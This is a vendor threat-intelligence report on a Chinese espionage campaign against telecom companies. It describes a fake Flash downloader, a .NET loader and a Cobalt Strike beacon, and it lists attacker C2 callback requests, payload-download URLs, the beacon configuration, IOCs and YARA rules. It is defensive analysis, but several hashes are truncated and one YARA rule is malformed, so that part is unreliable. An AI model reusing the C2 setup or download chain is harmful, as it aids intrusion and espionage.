TECHNICAL ANALYSIS OF OPERATION DIÀNXÙN
# TABLE OF CONTENTS

<table>
<thead>
<tr>
<th>Page</th>
<th>Section</th>
</tr>
</thead>
<tbody>
<tr>
<td>7</td>
<td>SUMMARY OF FINDINGS</td>
</tr>
<tr>
<td>8</td>
<td>VICTIMOLOGY</td>
</tr>
<tr>
<td>8</td>
<td>TELEMETRY</td>
</tr>
<tr>
<td>8</td>
<td>ATTACK OVERVIEW</td>
</tr>
<tr>
<td>10</td>
<td>STAGE 1: FAKE FLASH APPLICATION</td>
</tr>
<tr>
<td>12</td>
<td>STAGE 2: DOTNET UTILITY</td>
</tr>
<tr>
<td>13</td>
<td>DLL INTERMEDIARY FOR ADDING SCHEDULED TASK</td>
</tr>
<tr>
<td>14</td>
<td>STAGE 3: COBALT STRIKE PAYLOAD</td>
</tr>
<tr>
<td>16</td>
<td>INFRASTRUCTURE ANALYSIS</td>
</tr>
<tr>
<td>17</td>
<td>MITRE ATT&amp;CK MATRIX</td>
</tr>
<tr>
<td>18</td>
<td>CONCLUSION</td>
</tr>
<tr>
<td>19</td>
<td>IOCS</td>
</tr>
<tr>
<td>19</td>
<td>STAGE 1: FAKE FLASH</td>
</tr>
<tr>
<td>19</td>
<td>STAGE 1: OTHER</td>
</tr>
<tr>
<td>19</td>
<td>STAGE2: DOWNLOADER UTILITY</td>
</tr>
<tr>
<td>20</td>
<td>ADDTASKPLANDLLVERSION.DLL</td>
</tr>
<tr>
<td>20</td>
<td>STAGE3: COBALT STRIKE BEACON</td>
</tr>
<tr>
<td>20</td>
<td>URLs</td>
</tr>
<tr>
<td>20</td>
<td>COBALT STRIKE MALLEABLE C2</td>
</tr>
<tr>
<td>21</td>
<td>YARA RULES</td>
</tr>
<tr>
<td>24</td>
<td>ABOUT McAFE</td>
</tr>
<tr>
<td>24</td>
<td>McAFE ATR</td>
</tr>
<tr>
<td>24</td>
<td>ADDITIONAL RESOURCES</td>
</tr>
</tbody>
</table>
INTRODUCTION
In this report the McAfee® Advanced Threat Research (ATR) Strategic Intelligence team details an espionage campaign, targeting telecommunication companies, dubbed Operation Diànxùn.

In this attack, we discovered malware using similar tactics, techniques, and procedures (TTPs) to those observed in earlier campaigns publicly attributed to the threat actors RedDelta and Mustang Panda. While the initial vector for the infection is not entirely clear, we believe with a medium level of confidence that victims were lured to a domain under control of the threat actor, from which they were infected with malware which the threat actor leveraged to perform additional discovery and data collection. We believe with a medium level of confidence that the attackers used a phishing website masquerading as the Huawei company career page to target people working in the telecommunications industry.

We discovered malware that masqueraded as Flash applications, often connecting to the domain “hx xp://update.careerhuawei.net” that was under control of the threat actor. The malicious domain was crafted to look like the legitimate career site for the technology company Huawei, which has the domain; career.huawei.com. In December we also observed a new domain name used in this campaign: hx xp://update.huaweiyuncdn.com.

Moreover, the sample masquerading as the Flash application used the malicious domain name “hx xp://flach.cn” which was made to look like the official web page for China to download the Flash application, flash.cn. One of the main differences from past attacks is the lack of use of the PlugX backdoor. However, we did identify the use of a Cobalt Strike backdoor.
By using McAfee’s telemetry, possible targets based in Southeast Asia, Europe, and the US were discovered in the telecommunication sector. Combined with the use of the fake Huawei site, we believe with a high level of confidence that this campaign was targeting the telecommunication sector. We believe with a moderate level of confidence that the motivation behind this specific campaign has to do with the ban of Chinese technology in the global 5G roll-out.

Activity linked to the Chinese group RedDelta, by peers in our industry, has been spotted in the wild since early May 2020. Previous attacks have been described targeting the Vatican and religious organizations.

In September 2020, the group continued its activity using decoy documents related to Catholicism, Tibet-Ladakh relations, and the United Nations General Assembly Security Council, as well as other network intrusion activities targeting the Myanmar government and two Hong Kong universities. These attacks mainly used the PlugX backdoor using DLL side loading with legitimate software, such as Word or Acrobat, to compromise targets.

While external reports have given a new name to the group which attacked the religious institutions, we believe, based on the similarity of TTPs, that both attacks can be attributed to one known threat actor: Mustang Panda.

How can you defend your organization as effectively as possible from an attack of this type, which involves different techniques and tactics and potential impact?
Below is a summary of how McAfee’s Security Architecture helps you protect against the tactics and techniques used in Operation Dianxun.

<table>
<thead>
<tr>
<th>Phase</th>
<th>Tactics/Techniques</th>
<th>McAfee Products</th>
</tr>
</thead>
<tbody>
<tr>
<td>Preparation</td>
<td>Acquire Infrastructure: flach.cn, careerhuawei.net Domains (T1583.001)</td>
<td>MVISION Insights tracks campaign indicators</td>
</tr>
<tr>
<td></td>
<td>Develop capabilities: Fake Flash and DotNet Malware (T1587.001)</td>
<td>McAfee MWG - MVISION UCE detects malicious link and inspect flash payload</td>
</tr>
<tr>
<td></td>
<td>Obtain capabilities: Cobalt Strike Tool (T1588.002)</td>
<td>McAfee EWS detects indicators and techniques to proactively detecting the threat</td>
</tr>
<tr>
<td>Delivery</td>
<td>User Execution: Malicious Link (T1204.001)</td>
<td>MVISION EDR can detect malicious Persistence and defense evasion techniques</td>
</tr>
<tr>
<td></td>
<td>Scheduled Task/Job: DotNet Creates Scheduled Task (T1053.005)</td>
<td>McAfee Web Gateway and UCE will detect known C2 domains</td>
</tr>
<tr>
<td></td>
<td>Create or Modify System Process: Windows Service (T1543.003)</td>
<td>McAfee NSP will detect known C2 domains</td>
</tr>
<tr>
<td></td>
<td>Cobalt Strike</td>
<td>MVISION EDR Real Time and Historical Search for C2 domains and hash indicators</td>
</tr>
<tr>
<td></td>
<td>Defense Evasion: Process Injection (T1055)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Use Application Layer Protocol: Web Protocols (T1071.001)</td>
<td></td>
</tr>
<tr>
<td></td>
<td><a href="https://update1.jschachcdn.com/">https://update1.jschachcdn.com/</a></td>
<td></td>
</tr>
<tr>
<td></td>
<td><a href="https://update1.jschachcdn.com/">https://update1.jschachcdn.com/</a></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Attacker C&amp;C Servers</td>
<td></td>
</tr>
<tr>
<td>Exploitation &amp;</td>
<td>Access sensitive data and exfiltrate</td>
<td></td>
</tr>
<tr>
<td>Persistence</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Command &amp; Control</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Actions on Objective</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
We believe the best way to protect yourself from this type of attack is to adopt a multi-layer approach including McAfee® MVISION™ Insights, McAfee® Web Gateway, MVISION™ UCE, and MVISION™ EDR.

MVISION Insights can play a key role in risk mitigation by proactively collecting intelligence on the threat and your exposure.

McAfee Web Gateway and MVISION UCE provide multi-layer web vector protection with URL Reputation check, SSL decryption, and malware emulation capabilities for analyzing dangerous active Web content such as Flash and DotNet. MVISION UCE also includes the capabilities of Remote Browser Isolation, the only solution that can provide 100% protection during web browsing.

McAfee® Endpoint Security (ENS) running on the target endpoint protects against Operation Dianxun with an array of prevention and detection techniques. ENS Threat Prevention and ATP provides both signature and behavioral analysis capability which proactively detects the threat. ENS also leverages Global Threat Intelligence which is updated with known IoCs. For DAT based detections, the family will be reported as Trojan-Cobalt, Trojan-FSYW, Trojan-FSYX, Trojan-FSZC, and CobaltStr-FDWE.

As the last phase of the attack involves creating a backdoor for remote control of the victim via a Command and Control Server and Cobalt Strike Beacon, the blocking features that can be activated on a Next Generation Intrusion Prevention System solution such as McAfee NSP are important, NSP includes a Callback Detection engine and is able to detect and block anomalies in communication signals with C2 Servers.

MVISION EDR can proactively identify persistence and defense evasion techniques. You can also use MVISION EDR to search the indicators of compromise in Real-Time or Historically (up to 90 days) across enterprise systems.
TECHNICAL ANALYSIS OF OPERATION DIÀNXÙN

SUMMARY OF FINDINGS

We assess with a high level of confidence that:

- Recent attacks using TTPs similar to those of the Chinese groups RedDelta and Mustang Panda have been discovered.
- Multiple overlaps including tooling, network, and operating methods suggest strong similarities between Chinese groups RedDelta and Mustang Panda.
- The targets are mainly telecommunication companies based in Southeast Asia, Europe, and the US. We also identified a strong interest in German, Vietnamese, and India telecommunication companies.

We assess with a moderate level of confidence that:

- The motivation behind this specific campaign could be to do with the ban of Chinese technology in the global 5G roll-out.
- We believe that this espionage campaign is aimed at stealing sensitive or secret information in relation to 5G technology.

PLEASE NOTE: We have no evidence that the technology company Huawei was knowingly involved in this Campaign.
REPORT

VICTIMOLOGY
Based on the detections we have identified via our telemetry, the use of a fake website made to look like the career site of a major technology company and the operating method showing extensive overlap to the threat group Mustang Panda, we believe with a high level of confidence that this cyberespionage campaign was targeting the telecommunications sector. Several of these companies have shown a strong interest in the roll out of 5G technology.

To put things in perspective, the 5G race is primarily about leading on 5G installation and thus communication worldwide. Huawei, the Chinese company, is currently one of the leaders in this field.

TELEMETRY
We have observed telemetry hits in several countries across the globe. The map below shows an overview of the detection from our telemetry. Below we will highlight some of the specific countries that had telemetry hits.

ATTACK OVERVIEW
It is possible that the fake Huawei website “hxpx:update.careerhuawei.net” has been used as an initial vector to trick targets and redirect them to the fake Flash website.

The following diagram shows an overview of the infection process.

The first stage is masquerading as the Flash application. A phishing page has been created using the exact same appearance as the original website. As the website is masquerading as the official download page, we believe that it has been used in a phishing attack. It is likely that the targeted users have been redirected to this malicious website.
Legitimate Website: Flash.cn

![Flash.cn](image1)

Malicious Website: Flach.cn

![Flach.cn](image2)

The malicious website is hosting several additional samples. Subdomains are the following:

<table>
<thead>
<tr>
<th>Domain</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>download.flach.cn</td>
<td>Contains the main executable</td>
</tr>
<tr>
<td>mobile.flach.cn</td>
<td>Contains base64 encoded Cobalt Strike Payload</td>
</tr>
<tr>
<td>info.flach.cn</td>
<td>Unknown</td>
</tr>
<tr>
<td>update.flach.cn</td>
<td>Used to register the compromised machines and contains Dotnet payload version 2.0 and 4.0</td>
</tr>
<tr>
<td>forum.flach.cn</td>
<td>Unknown</td>
</tr>
<tr>
<td>m.flach.cn</td>
<td>Unknown</td>
</tr>
<tr>
<td>terminal.flach.cn</td>
<td>Unknown</td>
</tr>
</tbody>
</table>

The malicious application can be downloaded from “hxxp://update.flach.cn/downloads/flashplayer_install_cn.exe”.

We have noted that some of the samples have a connection to the domain “update.careerhuawei.net”, which provides further indication about the targets.
STAGE 1: FAKE FLASH APPLICATION

File type: PE32+ executable (GUI) x86-64, for MS Windows
File name: flashplayer_install_cn.exe
File size: 920576B
Compile time: 2020-08-17 13:17:10
Import Hash: 5f7ca61a772049e7c494c6c74d69484c
Hash SHA256: 9ccb4ed133be5c9c554027347ad8b72f0b4c3f4b9d947edfe75a01bf085e5

The sample discovered acts as a downloader. It masquerades as the Flash application.

The sample first checks the time and the geolocalization of the infected machine via a request to http://worldclockapi.com/api/json/est/now.

It then registers the infected machine with a hardcoded token.
The following request demonstrates the machine registering to the c2 with the hardcoded token “zheshiyigetoken23333333333”.

```
GET /callback.php?token=zheshiyigetoken23333333333&computername=user-PC&username=user HTTP/1.1
Host: update.flach.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
```

Then the sample checks if Dotnet framework 2.0 or 4.0 is installed and downloads the second stage accordingly.

```
GET /download.php?api=40 HTTP/1.1
Host: update.flach.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
Accept: */*
```
STAGE 2: DOTNET UTILITY

The second stage is a DotNet payload that is executed. This payload contains several functions and acts as a utility to further compromise the machine. This is a tool to manage and download backdoors to the machine and configure persistence.

<table>
<thead>
<tr>
<th>File type</th>
<th>PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows</th>
</tr>
</thead>
<tbody>
<tr>
<td>File name</td>
<td>DotNetLoader20.exe</td>
</tr>
<tr>
<td>File size</td>
<td>36352B</td>
</tr>
<tr>
<td>Compile time</td>
<td>2098-06-18 21:19:52</td>
</tr>
<tr>
<td>Import Hash</td>
<td>f34d5f2d4577ed69ceec516c1f5a744</td>
</tr>
<tr>
<td>Hash SHA2</td>
<td>480a8c883006232361c5812af85de9799b1f82f1b52145ccfc4d4fa2f6daafa</td>
</tr>
</tbody>
</table>

The below bullet points summarize the functionalities:

- It checks if the 360tray.exe (360 AV) process is running.
- It can re-download the first stage from hxxp://update.flach.cn/download.php?raw=1.
- It creates a scheduled task that will run cmd.exe /c with the previous payload downloaded and create the registry key SOFTWARE\Microsoft\Windows. NT\CurrentVersion\AppCompatFlags\TelemetryController\Levint.
- It can download a Cobalt Strike payload base64 encoded and stored on a remote address. If this option is selected the payload will be copied in the TEMP folder with the name FlashUpdate.exe.
- It checks if the task “WpsUpdateTask_” is present and downloads an additional utility from hxxp://159.138.84.217:81/c0c0c0c/AddTaskPlanDIIVersion.dll.
- It checks if the task “FlashUpdate” is present in the system and, if not, can create it.
- It can add a WMI backdoor by creating a permanent filter in order to stay persistent in the infected machine.
- It has the possibility to inject a shellcode into the clipboard using this technique: https://search.unprotect.it/technique/clipbrdwndclass/.
DLL INTERMEDIARY FOR ADDING SCHEDULED TASK

It is currently unclear for what exact purpose this DLL has been created. This sample has the ability to create a scheduled task, as does the DotNet utility.

<table>
<thead>
<tr>
<th>File type</th>
<th>PE32+ executable (DLL) (GUI) x86-64, for MS Windows</th>
</tr>
</thead>
<tbody>
<tr>
<td>File name</td>
<td>AddTaskPlanDllVerson.dll</td>
</tr>
<tr>
<td>File size</td>
<td>23552B</td>
</tr>
<tr>
<td>Compile time</td>
<td>2020-08-14 11:19:44</td>
</tr>
<tr>
<td>Import Hash</td>
<td>01f275d628096389203c13780013332e4</td>
</tr>
<tr>
<td>Hash SHA2</td>
<td>2779937398506e8ad207f5b291ae53d8af82b9f2739b0508ae3e0cfcc40ced092</td>
</tr>
</tbody>
</table>

The sample contains only one export named “GO”, which is called when executed.

![Export Table]

The main goal of this tool is to check if the file “flashupdate_exe” is available in the temp folder (meaning the first stage has been successful).

Then it creates a scheduled task called “WpsUpdataTask_” to run the sample in the infected machine.

![Scheduled Task Creation]
Stage 3: Cobalt Strike Payload

The fourth stage of the attack is a Cobalt Strike beacon payload. This payload is downloaded with the DotNet utility from the address "mobile.flach.cn". The payload is a gzip file which is base64 encoded then decompressed and injected.

The following screenshot, extracted from the DotNet utility, shows the code used to decompress and execute the remote payload.

The Cobalt Strike payload has the following information:

- **File type**: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
- **File name**: beacon.bin
- **File size**: 267264B
- **Compile time**: 2019-05-04 01:01:46
- **Import Hash**: 5d58634383b49de64bde0ee76012a61a
- **Hash SHA2**: 4ae0a2203f03813645a019363eb444d8220119c94967b8188cb3c22de33027f0

We extracted the following configuration from this payload:

- **BeaconType**: HTTPS
- **Port**: 443
- **SleepTime**: 6800
- **MaxGetSize**: 1048576
- **Jitter**: 14
- **MaxDNS**: 245
- **C2Server**: `update1.bootcdn.org,/s/ref=nb_sb_noss_1/264-84198498-9827145/field-keywords=woman`
- **UserAgent**: `Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)`
- **HttpPostUri**: `/N9185/adj/amzn.us.sr.aps`
- **Malleable_C2_Instructions**: Empty
- **HttpGet_Metadata**: Accept: */*
  
  Host: www.amazon.com
  session-token=skin=noskin;
  csm-hit=s-ZKfVNrTuJP09EG9Fzz9l2083152134315
  Cookie
### Technical Analysis of Operation 迪霞

<table>
<thead>
<tr>
<th>HTTP Post Metadata</th>
<th>Accept: <em>/</em></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Content-Type: text/xml</td>
</tr>
<tr>
<td></td>
<td>X-Requested-With: XMLHttpRequest</td>
</tr>
<tr>
<td></td>
<td>Host: <a href="http://www.amazon.com">www.amazon.com</a></td>
</tr>
<tr>
<td></td>
<td>sz=160x600</td>
</tr>
<tr>
<td></td>
<td>oe=oe=ISO-8859-1; sn</td>
</tr>
<tr>
<td></td>
<td>s=8967 dc_ref=http%3A%2F%2Fwww.amazon.com</td>
</tr>
<tr>
<td>SpawnTo</td>
<td>b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'</td>
</tr>
<tr>
<td>PipeName</td>
<td>%windir%\syswow64\rundll32.exe</td>
</tr>
<tr>
<td>DNS_Idle</td>
<td>0.0.0.0</td>
</tr>
<tr>
<td>DNS_Sleep</td>
<td>0</td>
</tr>
<tr>
<td>SSH_Host</td>
<td>Not Found</td>
</tr>
<tr>
<td>SSH_Port</td>
<td>Not Found</td>
</tr>
<tr>
<td>SSH_Username</td>
<td>Not Found</td>
</tr>
<tr>
<td>SSH_Password_Plaintext</td>
<td>Not Found</td>
</tr>
<tr>
<td>SSH_Password_Pubkey</td>
<td>Not Found</td>
</tr>
<tr>
<td><strong>HttpGet_Verb</strong></td>
<td>GET</td>
</tr>
<tr>
<td><strong>HttpPost_Verb</strong></td>
<td>POST</td>
</tr>
<tr>
<td><strong>HttpPostChunk</strong></td>
<td>0</td>
</tr>
<tr>
<td><strong>Spawnto_x86</strong></td>
<td>%windir%\syswow64\rundll32.exe</td>
</tr>
<tr>
<td><strong>Spawnto_x64</strong></td>
<td>%windir%\sysnative\rundll32.exe</td>
</tr>
<tr>
<td><strong>CryptoScheme</strong></td>
<td>0</td>
</tr>
<tr>
<td><strong>Proxy_Config</strong></td>
<td>Not Found</td>
</tr>
<tr>
<td><strong>Proxy_User</strong></td>
<td>Not Found</td>
</tr>
<tr>
<td><strong>Proxy_Password</strong></td>
<td>Not Found</td>
</tr>
<tr>
<td><strong>Proxy_Behavior</strong></td>
<td>Use IE settings</td>
</tr>
<tr>
<td>Watermark</td>
<td>0</td>
</tr>
<tr>
<td>bStageCleanup</td>
<td>False</td>
</tr>
<tr>
<td>bCFGCaution</td>
<td>False</td>
</tr>
<tr>
<td>KillDate</td>
<td>0</td>
</tr>
<tr>
<td>bProInject_StartRWX</td>
<td>True</td>
</tr>
<tr>
<td>bProInject_UserRWX</td>
<td>True</td>
</tr>
<tr>
<td>bProInject_MinAllocSize</td>
<td>0</td>
</tr>
<tr>
<td>ProInject_PrependAppend_x86</td>
<td>Empty</td>
</tr>
<tr>
<td>ProInject_PrependAppend_x64</td>
<td>Empty</td>
</tr>
<tr>
<td><strong>ProInject_Execute</strong></td>
<td>CreateThread</td>
</tr>
<tr>
<td></td>
<td>SetThreadContext</td>
</tr>
<tr>
<td></td>
<td>CreateRemoteThread</td>
</tr>
<tr>
<td></td>
<td>RtlCreateUserThread</td>
</tr>
<tr>
<td><strong>ProInject_AllocationMethod</strong></td>
<td>VirtualAllocEx</td>
</tr>
<tr>
<td>bUsesCookies</td>
<td>True</td>
</tr>
<tr>
<td>HostHeader</td>
<td>Not Found</td>
</tr>
</tbody>
</table>

We extracted another similar payload making a request to the C2: “hxxps://update1.js cachecdn.com/s/ref=nb_sb_noss_1/264-8498498-9827145/field-keywords=woman”.
REPORT

INFRASTRUCTURE ANALYSIS

The below diagram shows in a broader view the architecture used by the attackers, as well as the connection between the different domains.

By looking at the infrastructure used by the attackers, we see the IPs hosting the campaign have previously been used by the Mustang Panda threat actor to drop stagers and Cobalt Strike payloads related to previous campaigns.
Technical Analysis of Operation Diànxùn

### REPORT

<table>
<thead>
<tr>
<th>Tactic</th>
<th>Technique</th>
<th>Observable</th>
<th>IOCs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Resource Development</td>
<td>Acquire Infrastructure: Domains (T1583.001)</td>
<td>Attackers purchased domains to develop their phishing attack.</td>
<td>“flach.cn”</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>“careerhuawei.net”</td>
</tr>
<tr>
<td></td>
<td>Develop capabilities: Malware (T1587.001)</td>
<td>Attackers built malicious components to conduct their attack.</td>
<td>Fake Flash Utility Downloader</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>AddTaskPlanD1Version.dll</td>
</tr>
<tr>
<td></td>
<td>Obtain capabilities: Tool (T1588.002)</td>
<td>Attackers acquired red teaming tools to conduct their attack.</td>
<td>Cobalt Strike</td>
</tr>
<tr>
<td>Initial Access</td>
<td>Spear phishing Link (T1566.002)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Execution</td>
<td>User Execution (T1204.001)</td>
<td>Users are redirected to the Fake Flash website to download the first stage.</td>
<td></td>
</tr>
<tr>
<td>Persistence</td>
<td>Scheduled Task/Job: Scheduled Task (T1053.005)</td>
<td>The DotNet Utility creates a scheduled task that will run cmd.exe /c with the previous payload downloaded and create registry key.</td>
<td>“SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\Levint”</td>
</tr>
<tr>
<td></td>
<td>Create or Modify System Process: Windows Service</td>
<td>The DotNet utility can add a WMI backdoor by creating a permanent filter in order to stay persistent in the infected machine.</td>
<td></td>
</tr>
<tr>
<td></td>
<td>(T1543.003)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Defense Evasion</td>
<td>Process Injection (T1055)</td>
<td>The DotNet utility has the possibility to inject shellcode into the clipboard.</td>
<td></td>
</tr>
<tr>
<td>Command And Control</td>
<td>Application Layer Protocol: Web Protocols (T1071.001)</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

### CONCLUSION

In this report we have brought to light a recent espionage operation allegedly attributed to a Chinese APT group. Regarding the targeted sector (telecoms), we believe that this campaign was used to access sensitive data and to spy on companies related to 5G technology. Additionally, the use of a fake Huawei website gives more clues about the telecom targets. The announcement of the ban on Huawei in several countries could have motivated the operation.

The operating methods were previously assigned to the Chinese groups Red Delta and Mustang Panda. While we believe that the two actors could be the same, based on similar techniques, tactics, and procedures, we currently have no further evidence. Interestingly, the RedDelta group has previously targeted Catholic organizations, while this campaign is primarily focused on telecommunications.
REPORT

IOCS

STAGE 1: FAKE FLASH

42e3b16e431da07bae952ed08429a0c4ccf8e37746c733be512f1a51a60a3
8499ee481e0b5ed337fe8496330e69d68407e78a228b245f6e28a6905c19f4a
01331d46ee56e0a88b8e3d12bdf3d381baaf6e808b5338c30e01f7f3d84c
89a19f47e9b390bf1d1f8fd0d670ddd2c49d69f93a696f35f2363a638c0e1
b3fd750484fca38813e614db7d6419f1ea36abe889787fb7c3fbd299d9f5429
9c04ed133b5c9550273479b272f0b4c314f9d7efa75a151b6f085e3
4e7f8486e8939d9f76f5c9cbbd172620a85c636f51fa52d88ea86f7f447
0f2e16690f2e5b5c5834314fc32603364a312a6b23ab74b963160382
b363ad7785bfb622d96ae8086f64924c37034dd95e9be6d6369c6accd2a40d
8bd55ecb2794b10c9b936ab40c7ea954cf602761202546b9f9e161de1de8eb
7de56f65e98a8cd305afecfac6d98e65f596405020178aeee473ad9ba6d6c
9d4b3c39106fe82f0d36e79fcb7d992841217240f845bc0a62a3e999
ac88a65354b247ea3d0cfb2d2fb1e97af9d8460463ad45c5d3569e4ad2597
37643f75230a8a3d6b6cc31f67b8107e8ebbbb0e1a7257c7ebded2b7981249f
dd0d9c242bb2336ed96c29b0ccb5a55b433c83a54e284f16342781487f9d9
260eebf39298d00d767a5c5b6a956e1a126057c101cf1f2ae76db7853fe4255b
e784e9f5fb50188f0c7c82add93a89c85bcs379eaf356ead3876d943a986e434
a9590943a9a72f69d3c102448d37a17659e4630999b25e7f213ec761db9e81
b7f36159ae7f3512e00bfa8a188c9bb9796cc4752a635b2727ca5ac1710e0b
4332f0740b3b6c7f9b433e3c99a9540e535348033b381b4f11b4cace23bd

STAGE 1: OTHER

a8029f608a25fb0144c20fe7637492bcab3c3b20b284735bb02d10babed9c938

STAGE 2: DOWNLOADER UTILITY

2779937398506e8ad207f5b291ae53d8af82b9f2739b0508ae3e0cfc40ced092
30b2b2c0ca4cb06672c19a46a4e327b78252dd72fc19c2e0a0ab156bea0f8efc
42ed73b1d5cc49e09136ec095befabe0860002c97eb94e9ad1454ed4a58be2e2
4cf65cc6e4b2b0c3f602b16398c8c30c277b8cf6ae689fe7c61b92560d4e5b1b
a325bbd32985c1b586486df7d92521224bb8b155d464c80d11b1d0068399100c2
740992d40b84b10aa9640214a4a490e9899ae7b8696eaa27dbbdef544bb339b1048
4b53a550854cfa65a800d8f6b86ab726ca44610dad04325abf5c59f48327d555
7eaf7c646c5a80d3c1551cd497ee145813e9c58431f386710d0486c489b98
3cf4bf26266f1ec6055534bbe9dceb579ef0180e0ff4c47c1a26e2ed2f7567058a
50f7ffbb63d42bc2e73ef2b935cb6b3c919b7020dc18b0ed58f604844db667a9
1cced825cf49d7f45bea0f8f4e4b3a0b8e946c2e6b05ccac794e786ec4335cb4
8097a623dcbdbdf800a294fa0c8e15270f0ad75ab4de158f3abf4715a3
0d7d4d417c3c884472cf89f419ae8473d044f4b3e8f32e4a0f34e4fbbec698776
42ed73b1d5cc49e09136ec05befabe0860002c97eb94e9ad1454ed4a58be2e2
AddTaskPlanDllVersion.dll

27799379850d8ad207f5b291ae53d8af82b9f2739b508ae30cfc40ced092
75b30164a31d305f47f2c3c2121432e6d7b316cfb3de8b39f78180168bc9472
a8ef63238100c3837d307671c8e8d2cb4102e13705568f304613747ba632fcd

STAGE3: COBALT STRIKE BEACON

a11b6e2b02ae6531dfa85e0e1733a79816b54d2c91fed6526e43b8d07c6302a
9e5cd78e2d6e0150b98b14c8dc53ab6830ebd52a438f97b5be3b66a309662
3be627980f2bd7be7791637eb73865955760f0039ebf9d440064c54a9034e
d2642d3731508b526fa34adf57701f18e2f8b70addf31e33e445e75b9a909822

URLS

update.flach.cn/flach.php
mobile.flach.cn/flach.php
www.flach.cn/download.php
update.flach.cn/callback.php
download.flach.cn
info.flach.cn
forum.flach.cn
m.flach.cn
terminal.flach.cn

update.careerhuawei.net
careerhuawei.net
info.careerhuawei.net
hr.careerhuawei.net
flash-update.buyonebuy.top
159.138.84.217/81/c0c000c0c/AddTaskPlanDllVersion.dll
update.huaweiyuncdn.com.
update.huaweiyuncdn.com/download.php
cdn1.update.huaweiyuncdn.com
cdn.update.huaweiyuncdn.com
infoadmin.update.huaweiyuncdn.com

COBALT STRIKE MALLEABLE C2

update1.bootcdn.org/s/ref=nb__sb__noss__1/264-84198498-9827145/
field-keywords=woman
update1.jsccachecdn.com/s/ref=nb__sb__noss__1/264-84198498-9827145/
field-keywords=woman
YARA RULES

```
rule APT_CN_Stagel
{
  meta:
    description = "Detects Stage1"
    author = "Thomas Roccia, McAfee ATR"
    date = "2020-10-14"
    rule_version = "v1"
    malware_type = "Backdoor"
    malware_family = "Unknown"
    actor_type = "APT"
    actor_group = "China"

  strings:
    $s1 = "aHR0cDovL3VwZGF0ZS5jYXJlZXJhdWF3ZW5kbmV0Ojgx"
    fullword ascii
    $s2 = "RunRemoteCode" fullword ascii wide
    $s3 = "RemoveBD" fullword ascii wide
    $s4 = "DotNetLoader.Program" wide fullword
    $s5 = "/download.php?api=40" ascii fullword
    $s6 = "get %d URLDir" ascii fullword
    $s7 = "Read code failed" ascii fullword
    $s8 = "\CLRLoader.exe" wide fullword
    $s9 = "/callback.php?token=%s&computername=%s&username=%s" ascii fullword

  condition:
    (uint16(0) == 0x5A4D)
    and 5 of them
    and filesize < 2000KB
}
```
rule APT_CN_Stage2_DotNet
{
    meta:
        description = “Detects Stage2”
        author = “Thomas Roccia, McAfee ATR”
        date = “2020-10-14”
        rule_version = “v1”
        malware_type = “Hacking Tool”
        malware_family = “Unknown”
        actor_type = “APT”
        actor_group = “China”

    strings:
        $s1 = “InjectShellCode” ascii fullword
        $s2 = “clipboardinj ect” ascii fullword
        $s3 = “WMIBackdoor” wide
        $s4 = “Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\Levint” wide
        $s5 = “FlashUpdate.exe” wide
        $s6 = “raw_cc_url” ascii fullword
        $s7 = “AdobeCloud” ascii fullword

    condition:
        (uint16(0) == 0x5A4D)
        and 4 of them
        and filesize < 2000KB
}

rule APT_CN_DLLAddTask
{
    meta:
        description = "Detects hacking tool"
        author = "Thomas Roccia, McAfee ATR"
        date = "2020-10-14"
        rule_version = "v1"
        malware_type = "Hacking Tool"
        malware_family = "Unknown"
        actor_type = "APT"
        actor_group = "China"

    condition:
        (uint16(0) == 0x5A4D)
        and 3 of ($d*) or 4 of them
        and filesize < 2000KB
}

strings:
    $s1 = "Taskschd.dll" ascii fullword
    $s2 = "AddTaskPlanDllVersion.dll" ascii fullword
    $s3 = "\FlashUpdate.exe" ascii fullword
    $s4 = "D:\Project\FBIRedTeam" ascii fullword
    $s5 = "Error %s:%d, ErrorCode: %x" ascii fullword
    $d1 = "2000-01-01T00:00:01" ascii fullword
    $d2 = "2099-05-02T10:52:02" ascii fullword
    $d3 = "PT1H" ascii fullword
McAfee is the device-to-cloud cybersecurity company. Inspired by the power of working together, McAfee creates business and consumer solutions that make our world a safer place. By building solutions that work with other companies’ products, McAfee helps businesses orchestrate cyber environments that are truly integrated, where protection, detection, and correction of threats happen simultaneously and collaboratively. By protecting consumers across all their devices, McAfee secures their digital lifestyle at home and away. By working with other security players, McAfee is leading the effort to unite against cybercriminals for the benefit of all.

www.mcafee.com

McAfee ATR
The McAfee® Advanced Threat Research Operational Intelligence team operates globally around the clock, keeping watch of the latest cyber campaigns and actively tracking the most impactful cyber threats. Several McAfee products and reports, such as MVISION Insights and APG ATLAS, are fueled with the team’s intelligence work. In addition to providing the latest Threat Intelligence to our customers, the team also performs unique quality checks and enriches the incoming data from all of McAfee’s sensors in a way that allows customers to hit the ground running and focus on the threats that matter.

Subscribe to receive our Threat Information.

www.mcafee.com

McAfee ATR is actively monitoring this threat and will update accordingly.

Additional Resources
https://twitter.com/IntezerLabs/status/1316384526323638274?s=20
https://github.com/intezer/community-intelligence/blob/master/RedDelta_IOCs.csv
https://malpedia.caad.fkie.fraunhofer.de/actor/mustang_panda
https://www.recordedfuture.com/reddelta-targets-catholic-organizations/